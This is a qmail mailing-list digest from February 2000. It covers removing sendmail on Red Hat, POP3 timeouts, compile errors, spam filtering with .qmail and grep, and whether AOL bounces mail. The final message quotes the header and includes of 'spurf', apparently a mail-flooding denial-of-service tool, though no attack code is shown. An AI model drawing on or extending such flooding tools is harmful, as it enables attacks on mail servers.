qmail Digest 22 Feb 2000 11:00:01 -0000 Issue 919

Topics (messages 37465 through 37564):

Re: Linux services
        37465 by: Ruben van der Leij
        37473 by: Karen Owen
        37476 by: Ben Trussell
        37477 by: Sam
        37519 by: Julian L.B. Cardarelli

Re: Databytes overide?
        37466 by: Anand Buddhdev

qmail slow down
        37467 by: kailash oswal
        37500 by: Uwe Ohse

logging ?
        37468 by: John P. Looney
        37472 by: John P. Looney
        37498 by: Uwe Ohse

Re: Wildcard virtual email mapping
        37469 by: Paul Gregg

qmail
        37470 by: Andrew Doye

[re-post] qmail-pop3d not timing out?
        37471 by: Fred Backman
        37499 by: Uwe Ohse

Problem compiling qmail
        37474 by: Niall Dalton
        37497 by: Uwe Ohse

Re: Hey folks, please help
        37475 by: Dave Kitabjian
        37478 by: Adam McKenna

Re: Linux services -- I don't get it.
        37479 by: Adam McKenna
        37481 by: Adrian Urquhart
        37528 by: Robert
        37530 by: Adam McKenna

Re: Filtering
        37480 by: WL
        37509 by: Paul Jarc

Re: SMTP in distributed DOS
        37482 by: Michael Shields
        37484 by: Mark Mentovai
        37486 by: Deepak Jain
        37487 by: Michael Shields
        37488 by: Robert Sander
        37490 by: Brian Johnson
        37491 by: Adam McKenna
        37504 by: Greg Owen
        37511 by: Steve Sobol
        37557 by: Omachonu Ogali
        37562 by: Vincent Schonau

How can I change the design of SqWebMail-HTML?
        37483 by: Arik Funke
        37485 by: Adrian Urquhart
        37489 by: Adrian Urquhart
        37493 by: Arik Funke

Is there a web-interface which allows to create new users?
        37492 by: Arik Funke

Re: Virus scanning and transparent forwarding
        37494 by: Roland Pelzer

syslog errors
        37495 by: David McMahon
        37496 by: telomere.codon.com
        37501 by: David McMahon
        37502 by: John P. Looney

Understanding qmail-qstat and qmail-qread...
        37503 by: Guillermo Villasana Cardoza
        37505 by: Guillermo Villasana Cardoza
        37506 by: Dave Sill

RFC 2487, starttls
        37507 by: Dave Sill

Thoughts
        37508 by: WL
        37561 by: Frank Tegtmeyer

Virus scanner suggestions?
        37510 by: Mark E. Drummond
        37514 by: Martin A. Brown
        37517 by: Jason Haar
        37520 by: Rainer Link

Re: forcing /var/spool/mail delivery using a dot-qmail file
        37512 by: Paul Jarc

Using qmailanalog to debug delivery problems to specific hosts
        37513 by: andy huhn

dumping messages based on subject
        37515 by: courtney.whtz.com
        37518 by: David Mandala
        37555 by: Uwe Ohse

Messages not getting preprocessed
        37516 by: net.ncal.verio.com
        37534 by: net.ncal.verio.com

First qustion
        37521 by: Henri J. Schlereth
        37522 by: Timothy L. Mayo
        37523 by: Paul Jarc
        37524 by: Ruben van der Leij

Qmail bounce... please help?!
        37525 by: Johannes Angeldorff
        37556 by: Uwe Ohse
        37558 by: Johannes Angeldorff
        37559 by: Johannes Angeldorff
        37564 by: Uwe Ohse

Ok I'll bite
        37526 by: Henri J. Schlereth
        37527 by: Mark Delany
        37529 by: Paul Jarc
        37531 by: Mark Delany

Thanks
        37532 by: Henri J. Schlereth
        37533 by: Peter Samuel

vacation programs
        37535 by: Henri J. Schlereth
        37536 by: Peter Samuel
        37537 by: Henri J. Schlereth
        37538 by: Peter Samuel
        37539 by: Henri J. Schlereth
        37540 by: Henri J. Schlereth
        37541 by: Peter Samuel
        37542 by: Peter Samuel
        37544 by: Henri J. Schlereth
        37545 by: Peter Samuel

how do i virtuluser setting?
        37543 by: jkpark

Also
        37546 by: Henri J. Schlereth
        37547 by: Magnus Bodin
        37550 by: Henri J. Schlereth

Re: Beta toaster
        37548 by: Henri J. Schlereth
        37549 by: Peter Samuel
        37551 by: Henri J. Schlereth

Filtering relay?
        37552 by: Martin Horak
        37553 by: Magnus Bodin
        37554 by: Peter Samuel
        37560 by: Martin Horak

How to know how to display a email...
        37563 by: Michael Boman

Administrivia:

To unsubscribe from the digest, e-mail:
        [EMAIL PROTECTED]

To subscribe to the digest, e-mail:
        [EMAIL PROTECTED]

To bug my human owner, e-mail:
        [EMAIL PROTECTED]

To post to the list, e-mail:
        [EMAIL PROTECTED]


----------------------------------------------------------------------


On Mon, Feb 21, 2000 at 04:38:09AM -0500, Keith Warno wrote:

> All depends on how the master rc script processes links in the rc?.d/ dirs.
> I would be inclined to rename the S*sendmail and K*sendmail links to
> s*sendmail and k*sendmail (little 's' and little 'k').

On a stock redhat box the symlinks are with an uppercase letter:

[ruben@pc-ruben ruben]$ ls /etc/rc.d/rc3.d/
S10network@  S30syslog@  S40crond@  S75keytable@  K85gpm@  S90xfs@
S99local@


(Sorry, but my admin-style is a bit fascistic. No unnecessary services..)

-- 

Ruben




>>  I'm setting up a new qmail server on a RedHat 6.1 machine.  My last 2
were
>> on FreeBsd, and I knew how to remove sendmail without any troubles.  I
once
>> saw a post on this list on how to remove a linux service and keep it from
>> starting on boot.  It's been a while since the post, and I've since
>> forgotten what the command was.  Can anyone help to refresh my memory??
>>
>I use tksysv or ntsysv.
>
>Another possibility is to delete manually the link SXXsendmail from
>/etc/rc.d/rc<your_runlevel>.d


    And somewhere in between those two is the 'chkconfig' command, a command
line utility for manipulating rc.d links.  Note that it uses a particular
comment in the init file, so it'll work with system rc's but not
roll-your-own unless you take care.

    -- Greg





Use linuxconf from either the command-line or GUI under Redhat.   It brings
up a menu-oriented display in either interface.  Go to Control, then to
Control Service Activity.  It will display the common services that start up
at boot (including sendmail) with the option to enable/disable them.
Disable sendmail and it will disable it from now on.  The limitation of
Control Service Activity is that it isn't yet customizable.   But its great
for the basic (Redhat included) services.

Ben
----- Original Message -----
From: "Karen Owen" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Monday, February 21, 2000 6:58 AM
Subject: Re: Linux services


> >>  I'm setting up a new qmail server on a RedHat 6.1 machine.  My last 2
> were
> >> on FreeBsd, and I knew how to remove sendmail without any troubles.  I
> once
> >> saw a post on this list on how to remove a linux service and keep it
from
> >> starting on boot.  It's been a while since the post, and I've since
> >> forgotten what the command was.  Can anyone help to refresh my memory??
> >>
> >I use tksysv or ntsysv.
> >
> >Another possibility is to delete manually the link SXXsendmail from
> >/etc/rc.d/rc<your_runlevel>.d
>
>
>     And somewhere in between those two is the 'chkconfig' command, a
command
> line utility for manipulating rc.d links.  Note that it uses a particular
> comment in the init file, so it'll work with system rc's but not
> roll-your-own unless you take care.
>
>     -- Greg
>





On Mon, 21 Feb 2000, Robert wrote:

> Hello,
>  I'm setting up a new qmail server on a RedHat 6.1 machine.  My last 2 were
> on FreeBsd, and I knew how to remove sendmail without any troubles.  I once
> saw a post on this list on how to remove a linux service and keep it from
> starting on boot.  It's been a while since the post, and I've since
> forgotten what the command was.  Can anyone help to refresh my memory??

rpm -e sendmail.

Reboot.

Removes all traces of sendmail on a redhat box.


--
Sam





just rpm -e that sucker.  Don't even bother keeping it on your system man.

rpm -e sendmail
It may have some dependencies so remove those too.

J

-----Original Message-----
From: Robert [mailto:[EMAIL PROTECTED]]
Sent: Monday, February 21, 2000 1:30 AM
To: [EMAIL PROTECTED]
Subject: Linux services


Hello,
 I'm setting up a new qmail server on a RedHat 6.1 machine.  My last 2 were
on FreeBsd, and I knew how to remove sendmail without any troubles.  I once
saw a post on this list on how to remove a linux service and keep it from
starting on boot.  It's been a while since the post, and I've since
forgotten what the command was.  Can anyone help to refresh my memory??

Thanks in advance!!




On Mon, Feb 21, 2000 at 08:58:52AM +0200, TAG wrote:

> Hi,
> 
> Is there a way of overiding the global control/databytes file for a
> spacific user??

If the user has a fixed IP address, yes. See "man qmail-smtpd" for
details.

-- 
See complete headers for more info




Hi All

I have a database of 2000 customers on my qmail server....now a days my 
customers are experiencing slow connectivity when they download thier 
mails...what can be the problem ...how can I correct this.

Bye
Kailash

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





On Mon, Feb 21, 2000 at 05:31:24PM +0200, kailash oswal wrote:
 
> I have a database of 2000 customers on my qmail server....now a days my 
> customers are experiencing slow connectivity when they download thier 
> mails...what can be the problem ...how can I correct this.

almost everything can be the problem. You did not provide details:
machine, setup (mbox/Maildir, what kind of user database, which
checkpassword, etc), which kind of connectivity to your customers
(bandwidth?), what operations are slow or said to be slow.

Note that 2000 users with mailbox storage tend to get a machine
down to it's knees if some of the mailboxes are larger because 
customers choosed to leave their mails on the server.

Regards, Uwe




 For some reason, there are a load of messages built up in my qmail queue.
I can run qmail-qstat, and "killall -ALRM qmail-send" to try and clear
them, but I can't see the error messages from these attempts - they aren't
showing up in the logs.

 this is a "ps |grep qmail" type output;

root     31175 tcpserver 0 pop-3 /var/qmail/bin/qmail-popup localhost 
        /var/qmail/bin/checksqlpass /var/qmail/bin/qmail-pop3d Maildir
root       791 supervise qmail-send
root       793 supervise qmail-smtpd
root       795 supervise qmail-qmqpd
qmails     797 qmail-send
qmaild     800 /usr/local/bin/tcpserver -c20 -v -p -x /etc/tcp.smtp.cdb 
        -u 61 -g 98 0 qmqp /usr/local/qmail/bin/tcp-env 
/usr/local/qmail/bin/qmail-qmqpd
qmaild     802 /usr/local/bin/tcpserver -c20 -v -p -x /etc/tcp.smtp.cdb 
        -u 61 -g 98 0 smtp /usr/local/qmail/bin/qmail-smtpd
qmaill     803 accustamp
qmaill     804 accustamp
qmaill     805 cyclog -s1024000 -n10 /var/log/qmail/qmqpd
qmaill     806 cyclog -s10240000 -n10 /var/log/qmail/smtpd
qmaill     807 accustamp
qmaill     814 cyclog -s10240000 -n10 /var/log/qmail/send
qmaill     815 [qmail-start <defunct>]
root       816 qmail-lspawn /usr/local/lib/courier-imap/libexec/deliverquota
qmailr     817 qmail-rspawn
qmailq     818 qmail-clean
root     16483 grep qmail

 Is there anything obvious logging stuff missing ?

Kate

PGP signature





On Mon, Feb 21, 2000 at 12:27:13PM +0000, John P. Looney mentioned:
>  For some reason, there are a load of messages built up in my qmail queue.
> I can run qmail-qstat, and "killall -ALRM qmail-send" to try and clear
> them, but I can't see the error messages from these attempts - they aren't
> showing up in the logs.

 I've done an strace on the qmail-send program, when I send it a sigalrm.
It's showing:

open("local/4/112520", O_RDONLY|O_NONBLOCK) = 9
open("info/4/112520", O_RDONLY|O_NONBLOCK) = 10
fstat(10, {st_mode=S_IFREG|0600, st_size=21, ...}) = 0
read(10, "[EMAIL PROTECTED]\0", 128) = 21
close(10)                         = 0
read(9, "[EMAIL PROTECTED]\0", 128) = 21
write(0, "starting delivery ", 18) = -1 EPIPE (Broken pipe)
--- SIGPIPE (Broken pipe) ---
write(0, "23", 2)                 = -1 EPIPE (Broken pipe)
--- SIGPIPE (Broken pipe) ---
write(0, ": msg ", 6)             = -1 EPIPE (Broken pipe)
--- SIGPIPE (Broken pipe) ---
write(0, "112520", 6)             = -1 EPIPE (Broken pipe)
--- SIGPIPE (Broken pipe) ---
write(0, " to local ", 10)        = -1 EPIPE (Broken pipe)
--- SIGPIPE (Broken pipe) ---
write(0, "[EMAIL PROTECTED]", 19) = -1 EPIPE (Broken pipe)
--- SIGPIPE (Broken pipe) ---
write(0, "\n", 1)                 = -1 EPIPE (Broken pipe)
--- SIGPIPE (Broken pipe) ---
write(0, "status:", 7)            = -1 EPIPE (Broken pipe)
--- SIGPIPE (Broken pipe) ---
write(0, " local ", 7)            = -1 EPIPE (Broken pipe)
--- SIGPIPE (Broken pipe) ---
write(0, "1", 1)                  = -1 EPIPE (Broken pipe)
--- SIGPIPE (Broken pipe) ---
write(0, "/", 1)                  = -1 EPIPE (Broken pipe)
--- SIGPIPE (Broken pipe) ---
write(0, "50", 2)                 = -1 EPIPE (Broken pipe)
--- SIGPIPE (Broken pipe) ---
write(0, " remote ", 8)           = -1 EPIPE (Broken pipe)
--- SIGPIPE (Broken pipe) ---
write(0, "0", 1)                  = -1 EPIPE (Broken pipe)
--- SIGPIPE (Broken pipe) ---
write(0, "/", 1)                  = -1 EPIPE (Broken pipe)
--- SIGPIPE (Broken pipe) ---
write(0, "150", 3)                = -1 EPIPE (Broken pipe)
--- SIGPIPE (Broken pipe) ---
write(0, "\n", 1)                 = -1 EPIPE (Broken pipe)
--- SIGPIPE (Broken pipe) ---

 So, it looks like the getpw program I hacked is having problems...what
could cause this ? What does qmail-lspawn write to fd 0 ? What's supposed
to be accepting this ?

Kate

PGP signature





On Mon, Feb 21, 2000 at 12:49:52PM +0000, John P. Looney wrote:

>  So, it looks like the getpw program I hacked is having problems...what
> could cause this ?

i don't see that.

> What does qmail-lspawn write to fd 0 ?

log entries.


> What's supposed to be accepting this ?

logger / splogger / multilog.


Regards, Uwe




Also, take off the "-username" in the users/assign entry to leave:
+assign:domain-com:..........

And rename .qmail to .qmail-default in their directory.

Paul.

Tong <[EMAIL PROTECTED]> wrote:
> Use '+' instead of '=' in users/assign as described in the FAQ.

> At 10:44 AM 1/24/00 -0500, Robbie Honerkamp wrote:
>>I'm running Qmail in a single-UID POP server setup (as in Paul
>>Gregg's HOWTO). Everything is working fine except.. Some users
>>want any email coming to any possible address in their domain 
>>mapped to their mailbox. I've been playing with several possibilities
>>in /var/qmail/users/assign, but nothing seems to work so far.
>>
>>Has anyone done this before under such a setup?
>>
>>Thanks,
>>Robbie
>>
>>
>>





Tim,

How ya doing :)

I was wondering, are you using Qmail to route your mail on your system? 

Regards,
Andrew Doye
[EMAIL PROTECTED]




FYI - I posted this last week but with no replies. It is really important so
please if you can help, help. Otherwise, sorry for the double post.


(1) If I want to change the qmail-pop3d timeout, is it correct to modify
the line

int timeout = 1200;

in qmail-popup.c and qmail-pop3d.c? If not, how do I go about?

(2) I did just that, changing it from 1200 to 30, but the timeout only
seems to work in the authentication stage, ie. before i'm actually
logged in. Once i'm logged in, i can still be idle for more than 30
secs.

Any idea what's going on? Please help.




On Mon, Feb 21, 2000 at 12:37:07PM +0000, Fred Backman wrote:

> int timeout = 1200;
> 
> in qmail-popup.c and qmail-pop3d.c? If not, how do I go about?

in qmail-pop3d you have to change two lines, in saferead() and 
safewrite().
Other than that, yes.


> (2) I did just that, changing it from 1200 to 30, but the timeout only
> seems to work in the authentication stage, ie. before i'm actually

that means it works in qmail-popup.

> logged in. Once i'm logged in, i can still be idle for more than 30
> secs.

have you actually installed the new qmail-pop3d into the right
place?
Note that Daniels "install" programs tends to fail (under linux at
least) if a process is actually running.

Regards, Uwe




Hi,

I'm trying to compile qmail on a RedHat 6.0 machine.

[root@statler qmail-1.03]# uname -a
Linux 2.2.12-20smp #1 SMP Mon Sep 27 10:34:45 EDT 1999 i686 unknown

I'm following the installation doc, and everything goes fine 
until during the 'make setup check'
the following happens.

The only file I've changed so far is the conf-qmail
file to change the /var/qmail to /mail
(/mail is on a seperate disk, and I wish to keep everything mail related
there)

Can someone point me in the direction of the problem?

./compile auto-str.c
./load auto-str substdio.a error.a str.a 
./auto-str auto_qmail `head -1 conf-qmail` > auto_qmail.c
make: *** [auto_qmail.c] Error 139

[root@statler qmail-1.03]#  file ./auto-str
./auto-str: ELF 32-bit LSB executable, Intel 80386, version 1,
dynamically linked (uses shared libs), stripped

[root@statler qmail-1.03]# strace ./auto-str  auto_qmail `head -1
conf-qmail` > auto_qmail.c

<SNIP>
open("/lib/ld-linux.so.2", O_RDONLY)    = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3"..., 4096) = 4096
mmap(0, 77824, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x400fd000
mmap(0x400fd000, 73728, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3,
0) = 0x400fd000
mmap(0x4010f000, 532, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3,
0x12000) = 0x4010f000
close(3)                                = 0
mprotect(0x400fd000, 73728, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
munmap(0x40008000, 7810)                = 0
mprotect(0x8048000, 2083, PROT_READ|PROT_EXEC) = 0
mprotect(0x4000a000, 961713, PROT_READ|PROT_EXEC) = 0
mprotect(0x400fd000, 73728, PROT_READ|PROT_EXEC) = 0
mprotect(0x40000000, 21420, PROT_READ|PROT_EXEC) = 0
getpid()                                = 29539
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
[root@statler qmail-1.03]#




On Mon, Feb 21, 2000 at 04:01:07PM +0100, Niall Dalton wrote:
 
> Can someone point me in the direction of the problem?

i can't imagine what's happening.

> ./auto-str auto_qmail `head -1 conf-qmail` > auto_qmail.c
> make: *** [auto_qmail.c] Error 139

i had a look into auto-str and that simple shouldn't happen.

can you try:
        ulimit -c 10000
        ./auto-str auto_qmail `head -1 conf-qmail`
        gdb auto-str core
        gdb> bt

your system has no other problems?

Regards, Uwe




Unfortunately, *I* don't know the answer to your question, but I would go 
to:

        http://cr.yp.to/ezmlm.html

and ask the "ezmlm" list. I'm sure they can give you an answer.

Dave

On Sunday, February 20, 2000 2:11 AM, Brandon Wolf 
[SMTP:[EMAIL PROTECTED]] wrote:
> This hopefully will be the right place to ask this question.  My ISP just 
changed to qmail and added the mailing list software to.  My question is, 
how can you change the mailing list so that the reply to address is always 
the list address?  I have had people complain about having to forward the 
mail back the list and reenter the list address vs hitting reply.  Any help 
would be greatly appreciated
>
> THanks
> Brandon Wolf





add to dir/headerremove:

reply-to

add to dir/headeradd:

reply-to: list@address

--Adam

On Mon, Feb 21, 2000 at 10:22:05AM -0500, Dave Kitabjian wrote:
> Unfortunately, *I* don't know the answer to your question, but I would go 
> to:
> 
>       http://cr.yp.to/ezmlm.html
> 
> and ask the "ezmlm" list. I'm sure they can give you an answer.
> 
> Dave
> 
> On Sunday, February 20, 2000 2:11 AM, Brandon Wolf 
> [SMTP:[EMAIL PROTECTED]] wrote:
> > This hopefully will be the right place to ask this question.  My ISP just 
> changed to qmail and added the mailing list software to.  My question is, 
> how can you change the mailing list so that the reply to address is always 
> the list address?  I have had people complain about having to forward the 
> mail back the list and reenter the list address vs hitting reply.  Any help 
> would be greatly appreciated
> >
> > THanks
> > Brandon Wolf
> 




Someone asked a really dumb qmail-related question and was ignored.  Right
after that, someone asked an equally dumb non-qmail-related question and got
10 answers.

Does anyone else see something wrong with that?

--Adam




That's the way it goes, I guess. What intrigues me is why so many mails
directed to a mail server list have @hotmail.com addresses (or similar).

It's certainly true that a lot of questions have the answer of RTFM, but
I'd also say that for the newbie qmail can be a bit baffling,
particularly if an install doesn't go as planned. You could also add to
that the point that qmail's intended audience, as defined by the nature
of the product, ought be people who have a proven need for it, and the
experience (at least with *nix) to know where to look if it doesn't
work. Yet that's plainly not the case. I'd be interested to find out who
is using qmail, and why.

Adam McKenna wrote:
> 
> Someone asked a really dumb qmail-related question and was ignored.  Right
> after that, someone asked an equally dumb non-qmail-related question and got
> 10 answers.
> 
> Does anyone else see something wrong with that?
> 
> --Adam




I hope you weren't referring to me with your "dumb non-qmail-related"
comment.  I would think that removing sendmail would be high on the list of
things needed to know.  Sorry if you didn't think so.  If you're so
concerned about who gets help from the list,  perhaps you should reply to
the poor guy who was removed and just delete my dumbass post.

Thanks to all those who did take the time and trouble to help me out with
this one.  I've posted a few questions and always gotten a warm response.
Unlike many other lists I'm on, this one is usually VERY helpful,  with the
exception of this jackass of course.  If you don't like the post, use the
delete option.

Thank you!!


----- Original Message -----
From: "Adam McKenna" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Monday, February 21, 2000 10:01 AM
Subject: Re: Linux services -- I don't get it.


> Someone asked a really dumb qmail-related question and was ignored.  Right
> after that, someone asked an equally dumb non-qmail-related question and
got
> 10 answers.
>
> Does anyone else see something wrong with that?
>
> --Adam
>





How to remove sendmail on redhat is a question for the redhat list, not the
qmail list.  However, I wasn't complaining about your post, I was just
commenting on the fact that I thought it was messed up that on-topic posters 
were getting ignored in favor of off-topic posters.

If you're upset about someone calling your post dumb, get over it.  There are
much worse things that can happen to you in life.

--Adam

On Mon, Feb 21, 2000 at 07:55:27PM -0600, Robert wrote:
> I hope you weren't referring to me with your "dumb non-qmail-related"
> comment.  I would think that removing sendmail would be high on the list of
> things needed to know.  Sorry if you didn't think so.  If you're so
> concerned about who gets help from the list,  perhaps you should reply to
> the poor guy who was removed and just delete my dumbass post.
> 
> Thanks to all those who did take the time and trouble to help me out with
> this one.  I've posted a few questions and always gotten a warm response.
> Unlike many other lists I'm on, this one is usually VERY helpful,  with the
> exception of this jackass of course.  If you don't like the post, use the
> delete option.
> 
> Thank you!!




Paul,

How about having something like this in the Spammers File:

^Subject:.*\$$$ spamming words like dollars and ��� $$$ etc go here

Would this work?

Regards,

Will

Web Developer and Programmer - SharkDesign.co.uk
Lukrative Media Ltd
Domains-> http://CreativeNames.co.uk

----- Original Message -----
From: Paul Jarc <[EMAIL PROTECTED]>
To: WL <[EMAIL PROTECTED]>
Cc: <[EMAIL PROTECTED]>
Sent: Sunday, February 20, 2000 1:36 PM
Subject: Re: Filtering


> WL writes:
> > I'm new to the list and Qmail  -  is there anyway of adding an email
address
> > to a "spammers" file to be deleted before it gets to my mailbox?
>
> One possible way to do this is by putting something like this at the
> top of your ~/.qmail:
> |grep -f .spammers &>/dev/null && exit 99; exit 0
>
> If you don't already have a ~/.qmail, remember to add a line after
> the above line to specify your normal delivery method; typically:
> ./Mailbox
>
> (Read the dot-qmail man page for details about ~/.qmail, especially
> the `SAFE QMAIL EDITING' section, lest some of your mail go astray.)
>
> Then for any spammer's address, say, `[EMAIL PROTECTED]', add a
> line to ~/.spammers containing a regular expression to catch that
> address (for help with regular expressions, read grep's man page):
> ^From:.*\<spammer@flaky-biz\.com
>
> Now any mail that contains `[EMAIL PROTECTED]' in the From: header
> will disappear before you see it.  Make sure ~/.spammers exists, or
> else all your mail will disappear.  If ~/.spammers is empty, all your
> mail will be delivered as usual.
>
>
> paul
>







WL writes:
> From: Paul Jarc <[EMAIL PROTECTED]>
> > One possible way to do this is by putting something like this at the
> > top of your ~/.qmail:
> > |grep -f .spammers &>/dev/null && exit 99; exit 0
> 
> How about having something like this in the Spammers File:
> 
> ^Subject:.*\$$$ spamming words like dollars and ��� $$$ etc go here
> 
> Would this work?

Yes, though in the case of `$$$', you'd need `\$\$\$'.  Remember that
a message will be dropped if it matches *any* rule in the spammer
file; it doesn't have to match them all, and it doesn't have to match
both of a pair that are supposed to work together.  If you want to
require that a message match each of a set of rules, you'd need a more
complicated regular expression, or a more complicated .qmail delivery
rule.


paul




In article <[EMAIL PROTECTED]>,
Dirk Harms-Merbitz <[EMAIL PROTECTED]> wrote:
> Why don't we all just turn SMTP bounces OFF? Like return-receipts,
> the information content in bounces is very low.

MTAs must not silently drop mail.  Mail is precious.
-- 
Shields.




Michael Shields wrote:
>In article <[EMAIL PROTECTED]>,
>Dirk Harms-Merbitz <[EMAIL PROTECTED]> wrote:
>> Why don't we all just turn SMTP bounces OFF? Like return-receipts,
>> the information content in bounces is very low.
>
>MTAs must not silently drop mail.  Mail is precious.

But a portion of the message could be bounced - enough to contain the
headers and a chunk of a reasonably-sized body.  I modified qmail-send to
return only the first 4kB of a message as part of a bounce.  That's enough
to catch all the headers and part (often all) of the body.

As far as I can tell, this isn't in violation of any standards.  It deviates
from the most common practice, although other sites bounce only parts of the
message, as I am doing.  Example 7 in RFC 821 doesn't even give the headers
of a dropped message, it just says "message lost, no such user."

Mark

-- 
Do not reply directly to this e-mail address
-- 
Mark Mentovai
GGN NOC System Administrator






AOL's MTAs silently drop mail instead of denying it at the border.

Deepak Jain

On 21 Feb 2000, Michael Shields wrote:

> 
> In article <[EMAIL PROTECTED]>,
> Dirk Harms-Merbitz <[EMAIL PROTECTED]> wrote:
> > Why don't we all just turn SMTP bounces OFF? Like return-receipts,
> > the information content in bounces is very low.
> 
> MTAs must not silently drop mail.  Mail is precious.
> -- 
> Shields.
> 
> 





> AOL's MTAs silently drop mail instead of denying it at the border.

No, they don't:

    Return-Path: <>
    Delivered-To: [EMAIL PROTECTED]
    Received: (qmail 15733 invoked by alias); 21 Feb 2000 17:17:31 -0000
    Delivered-To: [EMAIL PROTECTED]
    Received: (qmail 15730 invoked for bounce); 21 Feb 2000 17:17:30 -0000
    Date: 21 Feb 2000 17:17:30 -0000
    From: [EMAIL PROTECTED]
    To: [EMAIL PROTECTED]
    Subject: failure notice
    Lines: 29
    Xref: challah.msrl.com MSRL.COM:10378

    Hi. This is the qmail-send program at challah.msrl.com.
    I'm afraid I wasn't able to deliver your message to the following addresses.
    This is a permanent error; I've given up. Sorry it didn't work out.

    <[EMAIL PROTECTED]>:
    205.188.156.130 does not like recipient.
    Remote host said: 550 MAILBOX NOT FOUND
    Giving up on 205.188.156.130.

    --- Below this line is a copy of the message.

    Return-Path: <[EMAIL PROTECTED]>
    Received: (qmail 15728 invoked by uid 1000); 21 Feb 2000 17:17:10 -0000
    Sender: [EMAIL PROTECTED]
    To: [EMAIL PROTECTED]
    Subject: test
    From: Michael Shields <[EMAIL PROTECTED]>
    Organization: Mad Science Research Labs
    Date: 21 Feb 2000 17:17:10 +0000
    Message-ID: <[EMAIL PROTECTED]>
    Lines: 3
    User-Agent: Gnus/5.0803 (Gnus v5.8.3) XEmacs/21.1 (Bryce Canyon)
    MIME-Version: 1.0
    Content-Type: text/plain; charset=us-ascii


    -- 
    Shields.


-- 
Shields.




On Mon, Feb 21, 2000 at 05:18:55PM +0000, Michael Shields wrote:
> 
>     Return-Path: <>
>     Delivered-To: [EMAIL PROTECTED]
>     Received: (qmail 15733 invoked by alias); 21 Feb 2000 17:17:31 -0000
>     Delivered-To: [EMAIL PROTECTED]
>     Received: (qmail 15730 invoked for bounce); 21 Feb 2000 17:17:30 -0000
>     Date: 21 Feb 2000 17:17:30 -0000
>     From: [EMAIL PROTECTED]
>     To: [EMAIL PROTECTED]
>     Subject: failure notice
>     Lines: 29
>     Xref: challah.msrl.com MSRL.COM:10378

This is obviously a bounce generated by qmail running on challah.msrl.com 
which I believe does not belong to AOL, or does it?

I have also teh feeling that AOL silently drops error messages...

-- 
Robert Sander                                 www.gurubert.de




I have in the past recieved a bounce message from aol (actually from one of
their servers) when I tried to e-mail a non-exsistant user.  It's likely, with
aol's huge userbase, that a mistyped name would match someone elses username
though, and then that person would probably ignore the message, and then it'd
seen that aol dropped the message when it should've bounced it when it really
was delivered, just to the wrong person...  just a thought..
  -Brian

Robert Sander wrote:

> This is obviously a bounce generated by qmail running on challah.msrl.com
> which I believe does not belong to AOL, or does it?
>
> I have also teh feeling that AOL silently drops error messages...





On Mon, Feb 21, 2000 at 06:30:43PM +0100, Robert Sander wrote:
> This is obviously a bounce generated by qmail running on challah.msrl.com 
> which I believe does not belong to AOL, or does it?
> 
> I have also teh feeling that AOL silently drops error messages...

You have "a feeling" about something that is easily testable?  Did you think
about maybe testing it?

The original message was received at Mon, 21 Feb 2000 13:23:02 -0500 (EST)
from virtual-estate.net [207.99.50.34]


*** ATTENTION ***

Your e-mail is being returned to you because there was a problem with its
delivery.  The AOL address which was undeliverable is listed in the section
labeled: "----- The following addresses had permanent fatal errors -----".

The reason your mail is being returned to you is listed in the section
labeled: "----- Transcript of Session Follows -----".

The line beginning with "<<<" describes the specific reason your e-mail could
not be delivered.  The next line contains a second error message which is a
general translation for other e-mail servers.

Please direct further questions regarding this message to your e-mail
administrator.

--AOL Postmaster



   ----- The following addresses had permanent fatal errors -----
   <[EMAIL PROTECTED]>

      ----- Transcript of session follows -----
      ... while talking to air-zd04.mail.aol.com.:
      >>> RCPT To:<[EMAIL PROTECTED]>
      <<< 550 MAILBOX NOT FOUND
      550 <[EMAIL PROTECTED]>... User unknown




> This is obviously a bounce generated by qmail running on 
> challah.msrl.com  which I believe does not belong to AOL,
> or does it?
> 
> I have also teh feeling that AOL silently drops error messages...

        You're misreading the bounce.  Read the part where the bounce
actually occurs, as follows:

    <[EMAIL PROTECTED]>:
    205.188.156.130 does not like recipient.
    Remote host said: 550 MAILBOX NOT FOUND
    Giving up on 205.188.156.130.

        Now do a reverse lookup on 205.188.156.130 and you get:

> set type=ptr
> 205.188.156.130
130.156.188.205.in-addr.arpa    name = rly-yc02.mx.aol.com 

        So, rly-yc02.mx.aol.com replied with a "550 MAILBOX NOT FOUND."
That's not silently dropping, that's bouncing.

-- 
        gowen -- Greg Owen -- [EMAIL PROTECTED]





Michael Shields wrote:

> In article <[EMAIL PROTECTED]>,
> Dirk Harms-Merbitz <[EMAIL PROTECTED]> wrote:
> > Why don't we all just turn SMTP bounces OFF? Like return-receipts,
> > the information content in bounces is very low.
>
> MTAs must not silently drop mail.  Mail is precious.

Not to mention that if there's a legitimate problem, how are you going
to fix
it if you don't know about it?


--
North Shore Technologies, Cleveland, OH
http://NorthShoreTechnologies.net
Steve Sobol, President, Chief Website Architect and Janitor
[EMAIL PROTECTED] - 888.480.4NET - 216.619.2NET






This was probably used:

/*
 * spurf 0.1
 * =========
 * fuck packeting, spam them to hell, jersey, and back
 * - missnglnk <[EMAIL PROTECTED]>
 *   greets: ging3r, sectorx, tino, arakis, phonz, cypherus, cyberops,
 *           gated, ti, moo, nivfreak, any #include kids i missed.
 * =========
 * THOU SHALT CRASH AND BURN IF THOU USETH THIS FOR NONBIBLICAL
 * PURPOSES. THY ASS SHALL BE REAMED 777 TIMES BY YOUR FAITHFUL
 * LORD AND SAVIOR, BUBBA.
 * (you get the drift)
 * =========
 * I'm not cool enough for the parties, so I sit at home and
 * find ways to piss off those who are. While coding, I mapped
 * out all the possible situations I might have faced if I tried
 * to go to a party I wasn't invited to, mainly to make myself
 * feel better. E-mail future party invitations to
 * [EMAIL PROTECTED], I'll gladly accept
 * government parties or *gasp* CORPORATE SCUM invitations.
 * </cry^H^H^H^H^H
 * </rant>
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/param.h>

